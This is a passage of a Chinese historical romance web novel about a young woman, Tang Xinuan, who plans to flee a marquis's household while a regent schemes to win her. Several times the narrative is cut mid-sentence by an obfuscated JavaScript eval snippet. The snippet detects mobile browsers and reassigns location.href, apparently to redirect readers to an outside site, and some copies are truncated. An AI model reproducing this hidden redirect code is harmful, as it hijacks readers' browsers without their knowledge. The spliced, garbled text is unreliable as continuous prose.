小倩想了想，说道：“我们两个弱女子，只怕没办法保护自己，实在不行买两个小厮，可又担心小厮心眼不好，我们给银子养着他们，反倒算计我们。” 唐兮暖明白了，需要保护自己。 她很快想到了办法。 翻箱倒柜找出一本书来。 里边全都是各种兵器详解图。 “小姐，您找这个干什么，咱俩又不会武功，有了兵器咱也用不了啊，就说世子爷平时耍的银枪，我们两个谁拿的动。” 唐兮暖拿过表哥的抢，确实很沉。 她也没想买把长枪带在身上。 “别管我，等我弄好你就知道了。” 接下来，唐兮暖一整晚都坐在桌子前写写画画。 小倩弄不懂小姐要做什么，找出鞋样打算多做几双绣鞋。 省的出门在外还要添置。 …… 朝栎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191427|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主在外边吃了午饭才回宫。 刚进宫门就被三哥拎着去了勤政殿。 周川行今天处理政事一直有些心不在焉。 不时张望一下门口，从没有一天像今天这般，盼望听到小妹的声音。 “二哥，小妹回来了。” 周川行动作一顿，端着茶杯从座椅上起来，闲庭信步一般走到堂前。 “疯到这么久才回来？” 朝栎公主抢过他的茶碗，先喝了一大口。 “是啊，我和三小姐一去茶馆听说书，还转了北街。” 周川行肉眼可见的凉了下去。 他瞥了一眼端王，一副你怎么办事的脸色。 端王还能不明白二哥的意思。 “小妹，你没去侯府吗？” 朝栎很自然的说道：“去了呀，先去的侯府，还见了侯夫人和世子。” 端王如芒在背，继续追问：“只见了这几个人？” 朝栎总觉的自己做错事了。 可二哥的意思很明白，他看上楚家三小姐了，让她去探探底。 她不光去了楚家，还约了三小姐出门玩，把三小姐从里到外了解清楚。 正想着回来讨点赏，怎么感觉二哥的心思好像不在这里。 “二哥，三哥，你们还想让我见谁？” 她忽然想到了，“你们是想让我见世子吗？别想了，人家世子和魏姑娘互相喜欢，婚事这两天大概就定下来了。” 朝栎现在不怀疑二哥喜欢三小姐，而是怀疑二哥让她和世子多处，打算把楚世子招为驸马。 这可不行。 “我去不久，魏姑娘就去了，明显和世子约好的，两个人有说有笑的在园子里相处很久，我走时人家还没走。” 周川行的脸色终于缓和了些。 “你说楚世子定了魏国公府的小姐？” 朝栎点了点头：“至少两个人是郎有情妾有意，就是不知道魏国公能不能同意。” “肯定同意，肯定同意，”端王给了周川行一个极其暧昧的眼神。 就算魏国公不同意，二哥也有办法让他同意。 “对了，楚家不是还有一位表姑娘吗？她什么态度？” 端王这话一出口，周川行就握紧了拳头。 14.第 14 章 听到端王问起表姑娘。 朝栎公主充满警惕地看向他，“二哥，你问侯府表姑娘做什么？” 端王仔细观察着周川行的神色，蹭了下嘴唇，“嗨，上次她在宫里走丢，不是我把人送出去的吗，我看那姑娘还挺有趣的，你这次去，应该看到她了吧，说起来她都没跟我说句谢谢。” 朝栎摇了摇头。 她确实让楚衍晴把人请来，不过楚衍晴说小姑娘病了。 “好像是生病了，我没见到她本人。” “病了？” 周川行脸色越来越凉。 端王眼观鼻鼻观心，阻拦道：“二哥，好事多磨，好事多磨。” 周川行没再说话，坐回太师椅继续处理朝政。 朝栎明显感觉到二哥情绪不对，“三哥，二哥他……” 端王笑道：“嗨，二哥就这个脾气，对了，你出去那么久，早点回去换身衣服吧，都臭了。” 朝栎公主抬手闻了闻袖子上的味道，“哪里臭了，就你事多。” 一个小姑娘被人嫌弃臭，心里当然是不舒服的。 冲着端王使劲哼了一声，“小心娶不到媳妇！” 朝栎公主走后，周川行似是一刻都等不了，“你去一趟侯府。” 端王掏了掏耳朵，“什么理由？” 周川行张口就来：“追求楚三小姐也好，恭喜楚世子也好，你选一个。” “明白，”端王打了个帅气的响指，转身要走，想到什么又来到周川行身边。 “二哥，我说你绕这么大弯做什么，为什么不直接向侯府开口要人？量他们也不敢不给。” 周川行用力按了按眉心，“你了解楚世子吗？” 端王小动作很多，两根手指插进腰带里，原地转了两圈。 宽肩窄腰的人，又是天潢贵胄，通体都是高贵优雅的气质。 “这个人……心机好像很深，你怕他不肯放手？” 周川行淡声道：“侯夫人心善，她自己的亲侄女，到现在都拿不到名分，肯定是楚世子不愿意。可侯府又没给唐姑娘张罗亲事，能是为什么！” 端王明白了，“你放心，这事三弟一定帮你办成。” 不就是追楚三小姐吗，反正他脸皮厚，一天被拒绝一次都无所谓。 朝栎公主上午来的侯府，端王下午又来。 侯府所有人都有些迷糊。 不过楚衍晴倒是有些猜测。 上午朝栎公主来，反复询问她的婚事，她就有所怀疑。 下午又见到端王这个大尾巴狼还有什么不清楚的。 不就是想娶她，又放不下其她莺莺燕燕，想享齐人之福吗。 要不是因为他的身份，她都不想见。 “端王千岁安康。”楚衍晴面无表情地看了他一眼，很快收回目光。 端王就是打着追求楚衍晴的旗号来的，对她的冷淡自然要多宽容些。 “三小姐客气了，”他见过侯夫人，调侃了两句楚衍晴，询问楚世子的婚事进展到哪一步了。 听说已经准备好向魏家提亲，心里高兴，把楚衍诺和魏姑娘都狠狠夸了一顿。 侯夫人神色始终淡淡的。 楚衍晴心情也不怎么好，趁着别人不注意，给端王好几个大白眼。 很不巧，被端王捉住。 他用口型威胁楚衍晴，“本王真是给你脸了！” 楚衍晴假装没看见。 “时候不早了，端王朝事繁忙，应该回去了吧，我就不送了。” 端王偏偏不肯走，“对了，本王上次送你表姐出宫，她还没谢过本王，今天既然来了府上，就把她喊出来向本王道声谢吧。” 楚衍晴早知道他是来找事的。 还赖着不肯走了。 如果不把表姐请过来，不知道什么时候能送走这尊大佛。 迟疑片刻，说道：“烦请王爷稍等，我这就去请表姐。” 楚衍晴到翠竹园的时候，唐兮暖正在研究兵器图。 听说有人要见她，毫不犹豫的拒绝：“表妹，我什么人都不见。” 楚衍晴能理解表姐的心情。 哥哥一面霸占着她，一面又张罗娶回别的女人，还不肯放她走。 谁遇到这种事情心情能好。 不过王爷要见，她总不能不给面子。 “表姐，来的人是端王，他点名要见你。” 唐兮暖还是不肯去，“表妹，你就说我……说我生病了，我不想去。” 楚衍晴了然的点了点头，“行，不想去就不去，我去说。” 她走到表姐身边看她在做什么，表姐正在一幅类似弓弩的图上写写画画。 “你看这种兵器干什么？一般地方都做不出来呢，除非朝廷的军器局。 可军器局不是什么人都能进的，就连父亲怕是都没这个权利。” 唐兮暖有自己的思绪，她从来不会跟着别人的思路走。 “表妹，你看我画的好不好看？” 楚衍晴不懂兵器，如果不是父亲和哥哥都习武，她见得多了才有些了解，根本认不出来她画的是什么。 一个冷冰冰的兵器有什么好看的。 不过楚衍晴还是用欣赏的口吻夸她：“表姐画的真好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196570|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 唐兮暖开心的笑了出来。 “我也觉得好看呢。” 姐妹两个没说多久，楚衍晴还记着端王，忙着回话。 可她答应把人带过去，如今表姐不愿意去。 犹豫片刻，点了点小倩，“你跟我去。” 就这么楚衍晴带着小倩回了待客堂。 “端王，我表姐确实身体不舒服，这是她的婢女，不信你问问。” 小倩老老实实跪在地上，给端王磕头。 “小姐这两天身体不适，连饭都没怎么吃，一直卧病在床，奴婢不敢说慌，还请王爷恕罪。” 端王皱了皱眉。 小妹来一趟就没见到唐兮暖。 他来一趟再见不到人，二哥肯定要发火。 “既然生病了，我亲自过去看看。” 楚衍晴急忙把人拦住：“我表姐一个未出阁的女子，王爷就这么去她的闺房，传出去不好吧。” 为了难为她，竟然找她表姐的麻烦，端王可真闲。 端王神色越发不悦，“我看看她都不行？” 楚衍晴坚决道：“当然不行，传出去我表姐怎么做人。” 端王恨得咬牙切齿，“楚衍晴，你别太过分。” 楚衍晴虽然惧怕端王的权力，可也不是一点脾气没有，“怎么，你喜欢我表姐？那你就找人说媒八抬大轿明媒正娶把人抬回去啊！ 对了，我们家姑娘决不允许丈夫三妻四妾，表姑娘也不行。 端王能做到，我这就带你过去看她。” 端王就没见过楚衍晴这么不讲理的人。 “楚衍晴，早晚有你求着我那天，别怪本王不念旧情。” 楚衍晴好笑道：“我们有什么旧情，让端王说的好像我们有什么不正当关系似的。” 端王忽然红了眼睛，瞪着楚衍晴那张让人恼怒的小嘴使劲握了握拳头。 “你给本王等着！” 语毕，他怀着一肚子气，大步流星离开了侯府。 周川行一直等到端王回去，“怎么样？” 端王忍着火气说：“没见到人，说是病了。” 周川行：“……” 沉默半晌，“给我准备一份侯府地图。” 端王吓了一跳：“二哥，你要干什么？夜探侯府？楚世子可是会武功的，万一被发现，朝廷那些老混蛋正愁挑不到你毛病……” 周川行仿佛有无数的力气无处发泄一般。 他两手攥着拳头放在书桌上，额头用力磕了几下。 再抬头，眼里猩红一片。 “我……等不及了。” 15.第 15 章 端王来侯府的时候，楚衍诺不在。 回来听到管家汇报，难免疑心多问几句。 “因为什么来的？” 管家如实回道：“好像是看上三小姐了，为了三小姐而来。” 端王才及冠不久。 没什么建树，但也没什么大毛病。 如无意外，这辈子都会是个不出风头的闲散王爷。 真心喜欢小妹，倒也合适。 “行，我知道了。” 楚衍诺走了两步，顺口多问一句：“还有什么事？” 管家犹豫道：“好像和三小姐吵起来了。” 楚衍诺皱眉：“为什么？” 管家：“说是前几天表姑娘进宫走丢，是端王送出来的，表姑娘没表示感谢，刚才端王非要表姑娘过去谢他，三小姐不愿意，两个人就吵起来了，端王走的时候是生着气走的。” 楚衍诺莫名升起一股戒备。 端王既然喜欢三妹，为什么非要见表妹？ 难道是醉翁之意…… “这几天翠竹园加强戒备，把松秀斋那边的人全部调过去。” “好，”管家答应完开始准备。 小倩忽然听到外边来了很多人，急忙打开窗户查看。 院子外边竟然多了很多守卫。 “小姐，不好了。” 她急急忙忙找到唐兮暖，“外边来了好多人，是不是世子爷发现我们的计划了？” 唐兮暖走到窗口观察，也不由得蹙起眉心。 按理她刚和小倩讨论，还只是一个雏形，表哥不至于知道。 怎么忽然来了这么多人。 “小倩，表妹前几天从我这拿走两块绣样，你帮我要回来。” 小倩急道：“这个时候还要什么绣样，小姐，咱们可能逃不出去了。” 唐兮暖看着远处的守卫，秀气的小脸是从来没有过的淡定，目光格外坚韧。 “这个侯府我不会再待了，我们一定可以出去。” 小倩忽然感觉小姐变了。 变得她不认识了。 “小姐……好，我去找三小姐要。” 小倩往外走的时候，还以为会有人拦住她，至少盘问一下。 可那些侍卫仿佛没看见她一样，从始至终没有任何表情。 小倩忽然就明白了。 这些侍卫并不是防备她的。 从楚衍晴那里拿到绣样，很快返回了翠竹园。 和出来一样，回去也没有人拦着。 “小姐，这些人问都没问我。” 唐兮暖眼里有光，很开心的笑了出来。 “明天你就把那些东西换成银子。” 子时一过，周川行便换上了夜行衣。 端王非要跟着一起凑个热闹。 还以为夜探一个小小侯府的翠竹园轻而易举。 到了现场，端王吓了一跳。 “这个楚世子想干什么，翠竹园这防护措施比皇宫还要严格。” 周川行无奈的抚了抚额头。 “已经打草惊蛇了。” 端王疑惑道：“不能吧。” 周川行：“一天内，小妹和你先后过来，楚世子怀疑也正常。” 端王忍不住骂道：“这个狗杂碎。 他自己不想娶，还看这么严，他是不是有病！ 现在怎么办，我们两个就是会飞，也不可能不被发现。” 周川行叹了口气：“再找机会吧。” 但凡小姑娘跟他透露出想离开的心思，他都会毫不犹豫冲进去，就算抢也要把人抢出来。 可到现在，他都不清楚小姑娘到底什么心思。 做不了表哥的妻子，那小妾呢？ 端王从来没见过他二哥这副样子，又心痛又不舍，反复纠结，哪里还像那个所向披靡无所不能的摄政王。 “二哥，要不我明天再来一趟侯府，干脆挑开了，把小姑娘要出来。” 周川行摆手制止，“那样只会把人推开的更远。” …… 第二天一大早，楚衍诺便来到翠竹园外边询问情况。 “夜里有没有什么可疑的动静？” “没有。”侍卫首领回他。 楚衍诺心里泛起疑惑，难道是他多疑了？ 端王的目标只是三妹。 “这两天多留意吧。” 吃过早饭，小倩把一部分好拿的珠宝放在衣服里，以唐兮暖想要吃岳阳楼的点心为借口出了侯府。 当然，侍卫想要代她去。 被她不悦地怼回去了。 “小姐又不只想吃一样，你都知道吗？我出去还能猜着小姐喜欢的多买几样，你知道小姐喜欢什么吗？” 侍卫不敢吭声，只能放她出去。 反正表姑娘在屋就行。 出了侯府，小倩走出一条街才从怀里拿出一块布，铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202417|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上，将身上的珠宝首饰放进去包好。 她没进过当铺，心里提着，总害怕人家骗她。 这些东西可都是小姐好不容易挑出来的。 太大的不好往外拿，有些看着好，但应该不值钱的。 还有些是世子送的，得防着世子询问。 挑挑拣拣能拿出来卖的东西不多。 万一被人骗，小姐逃出来后的生计可就没办法着落了。 她拿出一块知道价格的平安扣，走了两三家当铺。 只有一家给的价格还算靠谱。 她打算在这家多出几件。 又拿出几样珠宝。 掌柜的笑的眼睛都快没了，“姑奶奶，我跟你说，我这铺子是可京城最公道的，你有什么尽管往外拿，但凡有一件我骗你，就叫我一辈子发不了财。” 小倩听他说法还妥当。 将小姐那块来历不明的玉佩递过去。 “掌柜的，你看这块玉佩值多少银子？” 她挺直腰板，咳嗽两声：“价格给的公道，我就当给你，要是不公道，我就拿走了。” “公道，公道，”掌柜身为当铺掌柜，可看过不少宝贝。 刚接过来这块玉佩，绝对是无价的。 “敢问小姑娘这块玉佩是哪来的？” 小倩自然不能说实话，“我家爷的呗，他喝花酒欠了高利贷，不敢让老夫人知道，才让我带着玉佩出来当掉。你可别想糊弄我，否则我家爷肯定找过来。” 掌柜的拿着玉佩爱不释手的摩挲，“一口价，五千两。” 小倩倒吸了一口凉气。 她带的珠宝首饰全都是几十两，几百两的。 唯一上千两的竟然是小姐捡来的东西。 她忍不住吞咽了一口吐沫。 “你不是骗我吧，八千两，少一两银子都不卖。” 掌柜的有些迟疑，忽然手里一松，玉佩被一个高大的男人抢走了。 小倩急了：“那是我的东西，你还给我。” 端王也没想到随便出来转转，他二哥贴身的玉佩就被人拿到当铺卖了。 还是前几天送给小姑娘的。 他眼神复杂的看着小倩，“哪来的？” 小倩不想回他，伸手去抢，“你给我，这是我家爷的东西，快点给我。” 端王嗤了一声：“你家爷？我看是你偷的吧，来人，把她给我送衙门去，她偷东西。” 16.第 16 章 端王动真格的，小倩又不认识他，吓得六神无主，急忙跪地哭求。 “这位爷，东西真是我家主子的，我没骗你。” 端王撩起长袍，大喇喇坐到椅子上，“清场。” 立刻有人将掌柜的和店小二赶出去，屋里只剩下端王和小倩两个。 他弯腰勾起小倩的下巴，“你给我老实说，东西到底哪来的？胆敢说错一个字，我这就让人把你打死。” 小倩倒不怀疑小姐偷东西，肯定是那天进宫捡到的，如今被人家认出来了。 可小姐不会解释，她也不想背上偷东西的罪名，咬了咬牙，“这位爷，我可以说实话，但是能不能求求你不要告诉别人。” 她们的目的只为逃出侯府，眼前这个男人并不熟悉，只要他不乱说话，侯府不知情，她和小姐就还有机会。 端王急于弄清楚玉佩的来源，点了点头。 小倩这才开口：“这不是我家爷的，是我家小姐的。” “你家小姐？”端王皱眉问道。 小倩不敢隐瞒，“是武安侯府的表姑娘，”她爬到端王面前，拉住他的衣角继续哭求，“求求这位大爷，千万不要说出去，我家小姐遇到麻烦，急需要银两，这才让我把金银细软变卖了。 这块玉佩是别人送她的，绝对不是我偷的，您相信我。” 端王把玩着玉佩，“你们小姐姓唐？” 小倩点了点头。 端王还是不信：“还是骗我，据我所知，侯府可不缺银子，何至于变卖家当。” 小倩不可能把小姐要逃离侯府的事情说出来。 “爷，这事说来话长，不过和玉佩无关，您饶了奴婢吧，奴婢可以冲天发誓，绝对没有一个字假话。” 小倩惴惴不安的跪在地上。 出门没看黄历，竟然被人当贼抓了。 看他穿着打扮，非富即贵，肯定是自己得罪不起的人。 端王问清楚真相，自然不会难为小倩。 “起来说话。” 小倩终于松了口气，“谢谢这位爷。” 端王修长的手指敲了敲桌子，“你们小姐……最近过得好不好？” “当然不好……”小倩脱口而出，随即想到眼前的人都不认识，怎么能和人家说这些，“还好吧，寄人篱下还不就是那样。” 端王握着玉佩，有些着急，“既然不好，为什么不向这块玉佩的主人求救？” 小倩没听明白，“嗯？” 端王解释道：“你们小姐没说，这块玉佩的主人给她玉佩的时候，跟她说过，可以帮她做一件事？” 小倩摇了摇头：“没说过。” 端王想到了唐兮暖的情形，大概不懂怎么求救。 他把玉佩递到小倩面前：“收好，什么都可以当，唯独这块玉佩不行，关键时刻可是能救命的。” 小倩连声道谢。 端王瞥了一眼她要当的珠宝玉石，“这些都是你的？” 小倩连忙点头。 端王：“值多少银子？” 小倩也不清楚。 端王回头打了个响指，立刻有人把掌柜的送进来。 端王瞥了一眼掌柜的，“合算一下，这些珠宝值多少银子，我全收了。” 掌柜的急忙拿过算盘，一件一件的估算并加到一起。 “一共七千两银子。” 端王命人拿出银票交给小倩，“一手交钱，一手交货，你回去复命吧。” 小倩收了银票和玉佩，急急忙忙跑出了当铺。 不管怎么说，东西是当了。 还当了不少银子。 她和小姐逃出侯府的生计不用愁了。 待小倩走后，端王扔给掌柜的一锭金子，“今天的事敢传出去半个字，别怪本王手段残忍。” 掌柜的哪敢乱说：“端王，您就放心吧，小的一个字都不会说的，除非脑袋不想要了。” …… 小倩跟侍卫的说法是出来买点心，自然要带些点心回去。 她从古董店出来，直接赶到岳阳楼，什么梅花饼，桃子苏，茯苓糕，但凡是店里有的，每样都买了些。 之后赶回侯府，一切都很顺利。 不过她一颗心一直揪着，生怕被人看出来。 直到回到内室，将房门关好，把银票交给唐兮暖。 “小姐，小姐，你看我卖了多少银子。” 唐兮暖已经不记得自己有多久没这么高兴了。 “七千两？这么多？” 小倩点了点头：“是古董店的老板合算的，不会错。” 唐兮暖反复数了数，“没想到老板人还挺好，没骗我们。” 小倩一时不知道怎么说，“小姐，其实不是古董店的老板收的。” 唐兮暖好奇道：“那是谁？” 小倩：“我也不知道他是谁，”她说着话，把玉佩拿出来递给唐兮暖，“有个人他认出来这块玉佩，还以为我偷的，要报官呢……” 唐兮暖吓坏了，“那后来呢？” 小倩让她别急，“小姐，我没事，后来我就跟他解释是你的玉佩，但没说我们要逃走的事，他就让古董店掌柜的合算价格，把我带去的珠宝全都买下了。 对了，他还让我把玉佩给你，说是玉佩的主人答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周川行一时没明白，“她缺银子？还是丫鬟偷的？” 端王摇了摇头：“都不是，小姑娘现在正准备银两，看样子是打算离开侯府了。” 周川行忽觉心口一颤。 “你说小姑娘想离开侯府？” 端王点了点头：“是有这个可能，我派人盯着那个丫鬟了，有消息会传过来的。” 周川行不是信佛之人，可现在，他特别想跪到菩萨面前，求佛祖保佑，将小姑娘送到他身边。 “对了，侯府提亲的事怎么样了？” 端王刚了解过：“不太顺利，魏国公不太愿意，不过魏家的小姐愿意，应该能成，只是得费点波折。” 周川行稍一迟疑，“明天在八宝斋给我订桌酒席，邀请魏国公和楚世子过去。” “好嘞！”端王毫不犹豫答应下了。 17.第 17 章 “小倩，小倩，看我画的图纸。” 经过两天两夜不停的修修改改，唐兮暖的袖珍兵器构造图终于完成了。 其实原版并不是她所绘制。 而是她在书上看到的半成品。 不知道什么人发明研究。 构思和想法都很不错，可他明显不懂算学，几个关键步骤的数据都不准确。 自然无法造出成品。 唐兮暖以前就琢磨过，只不过她不觉得这种东西对她有什么用，便仍在了一旁。 决定逃出侯府，小倩告诉她出门会遇到很多危险，她才想起这件兵器。 用精钢乌铁打造，做出来后只比拳头大些，方便随身携带。 外形像个有趣的铁疙瘩。 内里镂空，有机关，能连续发射7枚钢针。 力道奇大无比，射到身体关键部位，绝对能一击致命。 就算瞄不准，也能震慑住坏人。 如果动了杀心，在钢针上涂抹剧毒，神仙来了都没用。 小倩知道小姐这两天一直在鼓捣这个。 她看不出什么东西，一张大纸上密密麻麻几十个小图，每个都很复杂。 她一点都看不懂。 “小姐，这个……有什么用啊。” 有时间还不如好好想想怎么逃出去。 小倩心里这么想，可不敢说出来。 毕竟小姐整天闷在翠竹园，无事可做，也只有写写画画能消磨时间了。 大功告成，唐兮暖特别开心，“这个啊，是一种威力超级大的武器，能保护我们两个呢。” 小倩十分怀疑，“小姐，这东西靠谱吗，我看着好复杂，怕是只能画在纸上吧。” 现在确实只在纸上。 唐兮暖也有点发愁，她将图谱好好叠好，“你明天出去多找几家铁匠铺子，看看能不能打造出来，价格别管，只要能打造出来就行。” 小倩怀疑小姐听说世子爷议亲后，急坏了脑子。 这种东西怎么可能打造出来。 不过看见小姐信心满满的样子，她也不忍泼冷水，“放心吧，小姐，我就算把京城所有的铁匠铺子都走一遍，也要帮小姐问到能打造的铺子。” 第二天，小倩带着图纸，又以给小姐买点心的借口离开了翠竹园。 看守的侍卫心里纳闷，怎么表姑娘这么喜欢外边的点心。 不过这种事不是他们管理范围，也就在心里吐槽一下。 这两天府里一切安静如常，楚衍诺怀疑自己多虑了，把翠竹园的守卫人员撤了一半。 不过还是比府里其它院子的防护严禁。 注定是一个超级辛苦的日子。 小倩连着走了好几家铁匠铺子，没有一家能打造出来的。 甚至有一个铺子的老板怀疑她是来找麻烦的，还把她骂了一顿，让她滚远点。 小倩有苦说不出来。 又不想让小姐失望，只能继续奔走。 眼看着太阳要落山了，只能先回府再想办法。 当然回去前，她又去了一趟岳阳楼，买了几样点心。 出门的时候意外看见楚衍诺坐在官轿里，吓得急忙逃走。 可大街上没有遮挡，她再返回岳阳楼更容易引起怀疑，仓惶之下，她只能转过身。 可她在侯府生活了十几年，只要世子爷看一眼就能认出她的背影。 就在她着急不知所措的时候，有一道人影挡住了她，还好心的撩起斗篷将她完全遮盖住。 楚衍诺的轿帘没落，他确实注意到路边那道有些熟悉的人影。 不过很快被端王挡住。 青天白日，大街上和女人亲密，也就端王这种浪荡公子能做得出来。 幸亏三妹不喜欢他，否则有委屈受了。 他很快收回目光，不想被这种不雅的举动污染眼睛。 自然也就没认出来那道人影是他府里的丫鬟。 眼看着楚衍诺的官轿走远，小倩松了口气。 “爷，”她后退一步，俯身行礼。 端王自然不是偶然遇到。 昨天见到小倩后，派了暗卫，一直监视着小倩。 听说她去了很多铁匠铺子，特意出来找她。 他把人叫进旁边的茶楼，难得对一个小丫鬟放低姿态，“又卖首饰？” 小倩也是太难了。 走了一天都没找到能打造小姐图谱的铺子。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周川行摇了摇头：“说起来，我也见过类似的图纸，是个很有名的兵器研发者画的，可他做了两年都没做出来，不得已放弃。” 端王猜测道：“所以，你怀疑是那位表姑娘照着图纸描绘出来的？” 周川行也不确定，“这样吧，我明天去一趟军器局……” 他顿了一下，“饭局什么时辰开始？” 端王回道：“戌时。” 周川行若有所思的敲了敲桌子，修长的手指接触到桌面，发出清晰的响动。 “我现在就去。” 18.第 18 章 端王怀疑他二哥中了蛊毒。 一种让人动情且不能自已的情蛊。 政事处理一半，又快到了宴席时间，他竟然要亲自跑一趟军器局。 “二哥，等等我，我和你一起去。” 端王自然不会错过这么有趣的事情，急急忙忙跟了上去。 自从回朝摄政，如果没有特殊情况，周川行出行都会选择坐轿。 他要彻底摒弃武官作风，让自己完全融入朝廷大员的氛围，一举一动都要像个摄政王的样子。 不过今天，他毫不犹豫的选择了骑马。 端王自然也上了自己的高头大马。 “二哥，我总觉的这事太玄了，她一个小姑娘大门不出二门不迈的，怎么可能绘的出能用的兵器图。 魏国公和楚世子马上就到了，咱们还是直接去八宝斋吧。” 周川行默了片刻，“你先去八宝斋，告诉他们我晚会就到。” 端王觉得时间还算充足，“我先跟你去军器局，宴席快开始再去。” 一行人很快到了军器局。 军器局的总负责人九品大使正要收拾东西回家，看见两位王爷大驾光临，急忙接驾。 “摄政王千岁，端王千岁。” “起来吧，”周川行也不废话，一甩长袍坐到圈椅上，拿出图纸递给刘大使。 “这个你看看，能不能做出来。” 刘大使三十多岁，已经来了军器局八年。 八年前九品，如今还是九品。 这是他第一次如此近距离的和摄政王说话，两腿不停地发抖。 他颤抖着双手接过图纸，一点一点的打开。 竟然是师父当年绘制的图纸。 “这……” 周川行皱眉：“能不能做？” 刘大使摇了摇头：“这图纸是我师父所绘，当年花费了好几年都没做出来，如今……” 周川行声音低沉，脸上也没什么表情，“你仔细看看墨迹。” 刘大使把图纸反复看了几遍，面上露出一抹很奇怪的表情。 “这，不是我师父所绘？” 周川行没提唐兮暖的名字，只道：“这是经过改良的，你再看看。” 刘大使凭着记忆，确实发现几处不一样的地方。 而且他刚才光顾着害怕，没仔细查看图上所标注的尺寸。 这会仔细看过，发现所有尺寸全部缩小。 成品最多不过拳头大小。 “王爷，卑职可以试试，没准能做出来。” 周川行严肃道：“有任何麻烦，及时告诉本王，这段时间，本王给你一个特殊，可以随时进宫找我。” 刘大使诚惶诚恐：“卑职谢王爷。” 周川行又问：“多长时间？” 刘大使说不好：“快的话，一个月吧，慢……” 周川行明白这种精密的兵器不是那么容易打造出来的。 一个月已经很快了。 “好，这件事就交给你了。” 周川行起身要走，刘大使想起什么，喊住他，“摄政王，卑职忽然想起当年师父做这个兵器的情况，所有能用到的材料咱们军器局都有，不过如果想让成品效果足够好，普通的钢铁只怕不行。” 周川行只想把东西做出来，“那该用什么？” 刘大使：“陨铁，硬度够，延展性又好，只不过这陨铁难求，咱们军器局原本是有的，前段时间被人用了。” 周川行稍一思量，“你跟我去趟王府。” 巧得很，他的库房里就有一块。 接下来，端王先去八宝斋应付，周川行回府给刘大使取陨铁。 小倩回到翠竹园还在后怕。 “小姐，我快吓死了，刚才在路上看到世子爷，差一点就被他发现了。” 唐兮暖也跟着紧张起来，“那后来呢？” 小倩解释道：“也是巧了，就那会，正好昨天买咱们珠宝的人忽然出现，用斗篷挡住了我。” 唐兮暖双手合十，“神仙保佑，我们遇到好人了，对了，他是谁，我们是不是应该好好感谢他。” 对方身份太过尊贵，小倩没敢问。 “好像住在端王府，她让我有事去端王府找他。” 唐兮暖想不了太多的事情。 话题到此为止。 “那我的兵器能做出来吗？” 提到这事，小倩感觉两脚都不是自己的了。 “我几乎问遍了城里的兵器铺子，都没人能做，后来见到那位爷，我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217888|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把图纸给他了，他说明天给我消息。” 唐兮暖知道这事急不得。 况且她已经决定好逃出侯府，不管有没有兵器都改变不了她的决定。 “不着急。” 小倩还是忍不住担心，“小姐，我们什么时候离开？” 问到关键问题，唐兮暖白皙的小脸皱吧起来。 “一会儿你出去打听一下，表哥的婚事订的怎么样了。” 小倩正有此意，“吃过饭我去给三小姐请安，和她屋里的几个姐姐聊一会儿。” 唐兮暖不擅长俗务，还是在努力分析自己的处境。 “翠竹园每天都好些侍卫，我哪里出得去。” 小倩想到三小姐，“不如您求三小姐帮帮忙，她应该有办法。” 唐兮暖摇了摇头：“表哥知道会怪她。” 小倩完全没办法了。 唐兮暖叹了口气，眼睛无端红了起来。 “表哥成亲的时候或许可以。” 小倩眼睛一亮，“小姐，你可真聪明，世子爷大婚，府里不知道忙成什么样，到时候谁还能注意到我们，只要我们换一下衣服，悄悄溜出去，完全可能。” 唐兮暖：“不知道表哥的婚事定在什么时候。” 小倩也不清楚，“等一会儿我出去问问就知道了。” 楚衍诺到八宝斋的时候，只有魏国公带人来了。 猜不透摄政王为什么要请他过来，只能随机应变。 “下官见过魏国公，”他客气恭敬的行礼。 